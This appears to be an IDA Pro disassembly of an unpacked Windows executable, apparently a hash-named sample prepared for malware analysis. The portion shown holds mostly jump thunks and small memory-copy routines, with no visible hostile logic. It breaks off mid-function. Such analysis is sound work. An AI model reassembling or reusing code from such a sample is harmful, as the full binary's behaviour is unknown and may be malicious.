; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F6D67D5D967DECF6BE1DA258E46D4704 ; File Name : u:\work\f6d67d5d967decf6be1da258e46d4704_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00026000 ( 155648.) ; Section size in file : 00026000 ( 155648.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 5 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401005 proc near ; CODE XREF: sub_4087B3+1F5Ap ; sub_4087B3+20AAp jmp sub_40539F sub_401005 endp ; --------------------------------------------------------------------------- jmp loc_403CBB ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_401896+20p ; sub_4019A7+8p ... jmp sub_4017E7 sub_40100F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401014 proc near ; CODE XREF: sub_402413+1EBp ; .text:0040343Ap ... jmp sub_4045C0 sub_401014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401019 proc near ; DATA XREF: sub_407BA3+4AAo jmp sub_4049E0 sub_401019 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: sub_4087B3:loc_40C7A6p jmp sub_4115A6 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: .text:00403F64p jmp sub_403B34 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_4087B3+43E4p jmp sub_40452A sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_4087B3:loc_40A059p jmp sub_4109FE sub_40102D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401032 proc near ; CODE XREF: sub_4085DD+3Dp ; sub_4087B3+1CBp ... jmp sub_40E485 sub_401032 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4087B3+32ECp jmp sub_40448A sub_401037 endp ; --------------------------------------------------------------------------- jmp loc_412437 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: sub_414190+290p jmp sub_4140AD sub_401041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401046 proc near ; CODE XREF: sub_41264E+49p ; DATA XREF: .data:off_434AD8o jmp sub_41220B sub_401046 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40104B proc near ; DATA XREF: sub_4087B3+28F5o ; sub_4087B3+2D78o jmp loc_404D4D sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_402120+1Fp ; sub_402120+16Ap ... jmp sub_402931 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; DATA XREF: .text:00411E19o jmp loc_411EE7 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_4109FE+39p jmp sub_410B6B sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_403661+F0p ; sub_403661+20Fp ... jmp sub_414C1C sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; CODE XREF: sub_413EFC+3Cp jmp sub_413B9E sub_401064 endp ; --------------------------------------------------------------------------- jmp loc_4122E0 ; --------------------------------------------------------------------------- jmp loc_404AD5 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: sub_405779+17p ; sub_405779+60p jmp sub_405673 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401078 proc near ; CODE XREF: sub_401A18+Ep ; sub_401A18+33p ... jmp sub_4016D1 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_410626+20p ; sub_412976+1BBp ... jmp sub_41086A sub_40107D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401082 proc near ; CODE XREF: sub_405673+51p ; sub_405673+87p jmp sub_40545D sub_401082 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401087 proc near ; CODE XREF: sub_40196F+14p ; sub_401993+8p ... jmp sub_40192E sub_401087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: .text:00414CD9p jmp sub_414D07 sub_40108C endp ; --------------------------------------------------------------------------- jmp loc_40FE9A ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401096 proc near ; CODE XREF: sub_401F4B+81p ; sub_401F4B+ABp jmp sub_401EF5 sub_401096 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_40205B+48p ; sub_402413+181p jmp sub_401F4B sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4087B3+CFFp jmp sub_414F49 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_4087B3+38ABp ; sub_414E55+12p ... jmp sub_414DA4 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_405673+17p ; sub_414190+1F3p jmp sub_405512 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; CODE XREF: sub_4087B3+42DEp jmp sub_40474C sub_4010AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B4 proc near ; CODE XREF: sub_402D46+42Ap jmp sub_402B90 sub_4010B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_4152FA+45p jmp sub_4153B5 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_4137C0+Ap ; sub_4138CE+8p ... jmp sub_413798 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: sub_4087B3:loc_409ED1p jmp sub_41014B sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010C8 proc near ; DATA XREF: sub_4087B3+26B7o jmp sub_4127D1 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40841B+D6p jmp sub_411594 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: .text:0040342Ep ; sub_4034D1+B2p ... jmp sub_40E4DC sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D7 proc near ; CODE XREF: .text:00407A82p ; sub_4085DD+E9p jmp sub_40F9F7 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_4087B3+406Ep jmp sub_40F54D sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_4087B3+1749p jmp sub_41049A sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E6 proc near ; CODE XREF: sub_4035CD+Bp ; sub_403661+2Dp ... jmp sub_414EF3 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4087B3+3FC5p jmp sub_4035CD sub_4010EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F0 proc near ; CODE XREF: sub_402413+13Ep ; sub_402B2A+28p ... jmp sub_40297C sub_4010F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_4087B3+2B63p ; sub_4087B3+35C1p jmp sub_40FC36 sub_4010F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FA proc near ; CODE XREF: sub_4019F2+Bp ; sub_401A18+1A1p ... jmp sub_401993 sub_4010FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_407BA3+5E4p ; DATA XREF: sub_4087B3+2AE3o jmp sub_40841B sub_4010FF endp ; --------------------------------------------------------------------------- jmp loc_404688 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401109 proc near ; CODE XREF: .text:00405837p ; sub_407BA3:loc_408256p ... jmp sub_414E55 sub_401109 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_4085DD+12Ap jmp sub_4087B3 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: sub_4087B3+492Dp ; sub_415473+6Bp ... jmp sub_4152FA sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: .text:00406AF9p jmp sub_406EDE sub_401118 endp ; --------------------------------------------------------------------------- jmp loc_4114A3 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401122 proc near ; CODE XREF: .text:004051BFp ; sub_4087B3+425Ep jmp sub_40FF61 sub_401122 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401127 proc near ; DATA XREF: sub_4087B3+46D7o jmp loc_4128FE sub_401127 endp ; --------------------------------------------------------------------------- jmp loc_413FEF ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: sub_40FACF+25p ; sub_40FB3F+6Bp jmp sub_40FB1A sub_401131 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401136 proc near ; CODE XREF: sub_4087B3+F33p jmp sub_40FF37 sub_401136 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: sub_4087B3+94Dp ; sub_4087B3+97Bp ... jmp sub_40F942 sub_40113B endp ; --------------------------------------------------------------------------- jmp loc_4016DD ; --------------------------------------------------------------------------- jmp loc_407825 ; --------------------------------------------------------------------------- loc_40114A: ; DATA XREF: sub_4087B3+438Eo jmp loc_4047DA ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_412976+245p jmp sub_410714 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: sub_41014B+20p jmp sub_4101F3 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_401896+5Ep ; sub_401896+6Fp ... jmp sub_4017C8 sub_401159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40115E proc near ; CODE XREF: sub_40278A+39p ; sub_40278A+45p jmp sub_4029BE sub_40115E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_41264E+5Cp jmp sub_412583 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_4138EA ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_40841B+123p jmp sub_4085DD sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: .text:0041293Ep ; sub_41313F+8p jmp sub_412976 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: .text:00413933p jmp sub_4137C0 sub_401177 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40117C proc near ; CODE XREF: sub_4087B3:loc_409FB8p jmp sub_410626 sub_40117C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; DATA XREF: sub_406B82+246o jmp loc_4069A0 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: sub_4138CE+Ep ; sub_413993+4Ap jmp sub_413972 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_406B82+17Cp jmp sub_4077EC sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401190 proc near ; CODE XREF: sub_4019F2+16p ; sub_401A18+91p ... jmp sub_4019A7 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near ; DATA XREF: sub_407BA3+522o ; sub_4087B3+1634o jmp loc_40798E sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: .text:004033AAp ; .text:004033CCp jmp sub_402D46 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119F proc near ; CODE XREF: sub_402413+167p jmp sub_40205B sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: .text:004016F5p ; sub_401A18+11Ep jmp sub_401716 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_4087B3+1831p jmp sub_410895 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_4034D1+74p ; sub_4087B3+40D8p ... jmp sub_413F6C sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; DATA XREF: sub_4087B3+355Bo jmp loc_415046 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B8 proc near ; CODE XREF: .text:004040E1p ; DATA XREF: .data:off_42AF2Co jmp sub_402413 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_405512+12p jmp sub_4054B8 sub_4011BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011C2 proc near ; CODE XREF: .text:00405A0Ap ; .text:00407877p ... jmp sub_411561 sub_4011C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011C7 proc near ; DATA XREF: sub_4087B3+27B3o jmp loc_411CFD sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_4087B3+45FEp jmp sub_4034D1 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; DATA XREF: .text:00412017o jmp loc_412147 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; DATA XREF: sub_4127D1+7Bo jmp sub_4126D1 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: .text:loc_412945p jmp sub_412D63 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: sub_4087B3+2C91p jmp sub_412280 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; DATA XREF: sub_4087B3+4490o jmp loc_414CA1 sub_4011E5 endp ; --------------------------------------------------------------------------- off_4011EA dd offset byte_4630E9 ; DATA XREF: sub_407BA3+14o db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EF proc near ; CODE XREF: .text:00404E6Bp jmp sub_40537B sub_4011EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F4 proc near ; CODE XREF: sub_4087B3+34A5p jmp sub_40FD2B sub_4011F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_404A47+56p jmp sub_4049FE sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; CODE XREF: sub_4087B3+18D2p jmp sub_411055 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: .text:00406ADBp jmp sub_407700 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_40288B+79p jmp sub_402A3E sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40120D proc near ; CODE XREF: .text:00403D68p ; sub_413B9E+1C8p ... jmp sub_41172A sub_40120D endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_405512+66p ; sub_405512+97p ... jmp sub_4053BF sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40121C proc near ; CODE XREF: .text:004046F1p ; .text:004047ACp ... jmp sub_40FB3F sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_401F4B+A1p ; sub_401F4B+C2p ... jmp sub_401E57 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: .text:00405AACp ; .text:00405AD3p jmp sub_405941 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_40FB3F+33p jmp sub_40FACF sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; CODE XREF: sub_401A18+89p ; sub_401A18+E3p ... jmp sub_401896 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: .text:00413940p jmp sub_413993 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: .text:004041E3p jmp sub_403661 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123F proc near ; CODE XREF: sub_402413+86p jmp sub_401A18 sub_40123F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401244 proc near ; CODE XREF: sub_402120+2Dp jmp sub_4020C1 sub_401244 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425084 loc_401249: ; CODE XREF: sub_425084+3j ; .text:0042509Dj ... jmp loc_4026A5 ; END OF FUNCTION CHUNK FOR sub_425084 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_4087B3+35E9p ; sub_414DA4+53p jmp sub_411C45 sub_40124E endp ; --------------------------------------------------------------------------- jmp loc_411CED ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_402120+17Cp ; sub_4155CD+46p ... jmp sub_40278A sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4087B3+4278p jmp sub_414190 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401262 proc near ; CODE XREF: sub_40FF37+7p ; sub_411876+5Fp ... jmp sub_4117F1 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near ; CODE XREF: .text:00406075p jmp sub_4062D3 sub_401267 endp ; --------------------------------------------------------------------------- off_40126C dd offset byte_48DFE9 ; DATA XREF: sub_403661+226o db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: sub_4109FE+2Dp jmp sub_410B94 sub_401271 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401276 proc near ; DATA XREF: sub_407BA3+437o jmp sub_41313F sub_401276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40127B proc near ; CODE XREF: sub_4087B3+1912p jmp sub_4113B6 sub_40127B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_4087B3+364Bp ; .text:00411BA4p ... jmp sub_411876 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: sub_4087B3+1680p ; sub_414F49+1Dp jmp sub_414E93 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_4087B3+3FAAp jmp sub_414F19 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_4123A5 ; --------------------------------------------------------------------------- jmp loc_403294 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_402413+4Ep ; sub_402B90+8Bp ... jmp sub_4116BB sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: sub_4152FA+59p jmp sub_415473 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: .text:00404101p ; .text:004043CCp ... jmp sub_414FFA sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: .text:00403FB3p ; .text:004059B7p jmp sub_403BF7 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_41178A ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_40841B+F7p ; sub_4087B3:loc_408D60p ... jmp sub_404651 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: .text:00404F97p jmp sub_404A47 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_4109FE+4Cp jmp sub_410AFB sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; CODE XREF: sub_4087B3+4041p jmp sub_40FCE2 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_401A18+134p jmp sub_4019F2 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_402413+14Ap jmp sub_40232A sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; CODE XREF: sub_417ED0+C9p jmp sub_407BA3 sub_4012D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D5 proc near ; DATA XREF: .text:004042CFo jmp loc_403EFB sub_4012D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DA proc near ; CODE XREF: .text:loc_403F6Cp jmp sub_403ADA sub_4012DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: .text:00406081p jmp sub_40636F sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E4 proc near ; CODE XREF: sub_4029BE+15p jmp sub_402B2A sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; DATA XREF: sub_4087B3+29E1o jmp loc_413ADB sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_4145E8:loc_414AD3p ; DATA XREF: sub_403661+107o ... jmp sub_4145E8 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_407BA3+4Bp jmp sub_40E59D sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; DATA XREF: sub_403661+333o ; sub_4087B3+3F1Fo jmp loc_40642F sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: sub_4049E0+4p ; sub_407BA3+358p ... jmp sub_404954 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: sub_4087B3+33C3p ; sub_4087B3+42A6p jmp sub_4144F1 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_402120+131p jmp sub_40271E sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: sub_402120+110p ; sub_402120+14Bp jmp sub_4026AF sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_401A18+F0p ; sub_401A18+15Bp ... jmp sub_40196F sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; DATA XREF: sub_4087B3+41E6o jmp loc_411B30 sub_401316 endp ; --------------------------------------------------------------------------- jmp loc_405987 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_407BA3+212p jmp sub_40FDCD sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401325 proc near ; CODE XREF: .text:004067EFp jmp sub_406B82 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132A proc near ; CODE XREF: .text:004138F7p jmp sub_4138CE sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_410626+6Dp ; sub_412D63+18Ap ... jmp sub_410794 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: sub_40232A+24p jmp sub_402120 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: .text:00413B17p jmp sub_413EFC sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: .text:00405BB3p jmp sub_411CB1 sub_40133E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401343 proc near ; CODE XREF: .text:00407A9Bp ; sub_40841B+7Fp ... jmp sub_41264E sub_401343 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401348 proc near ; CODE XREF: sub_402120+3Dp ; sub_4026AF+28p ... jmp sub_40288B sub_401348 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; CODE XREF: sub_4087B3+408Bp jmp sub_405779 sub_40134D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401352 proc near ; CODE XREF: sub_401896+18p ; sub_40192E+16p ... jmp sub_40175E sub_401352 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401357 proc near ; DATA XREF: sub_407BA3+3CAo jmp sub_411C89 sub_401357 endp ; --------------------------------------------------------------------------- jmp loc_413164 ; --------------------------------------------------------------------------- jmp loc_40479C ; --------------------------------------------------------------------------- loc_401366: ; DATA XREF: sub_4087B3+23D1o ; sub_4087B3+3C0Do jmp loc_404194 ; --------------------------------------------------------------------------- db 12Ah dup(0CCh) byte_401495 db 23Ch dup(0CCh) ; DATA XREF: .data:off_42A91Co ; =============== S U B R O U T I N E ======================================= sub_4016D1 proc near ; CODE XREF: sub_401078j mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_4016D1 endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; --------------------------------------------------------------------------- loc_4016DD: ; CODE XREF: .text:00401140j push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call sub_4158E0 pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_4011A4 mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_401716 proc near ; CODE XREF: sub_4011A4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_415CF8 mov edi, eax pop ecx test edi, edi jz short loc_401748 push ebx push 0 push edi call sub_415CA0 push ebx push [esp+1Ch+arg_0] push edi call sub_415960 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_401748: ; CODE XREF: sub_401716+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_401716 endp ; --------------------------------------------------------------------------- db 0Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40175E proc near ; CODE XREF: sub_401352j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_415CF8 mov esi, eax pop ecx test esi, esi jz short loc_4017AA push edi push 0 push esi call sub_415CA0 push 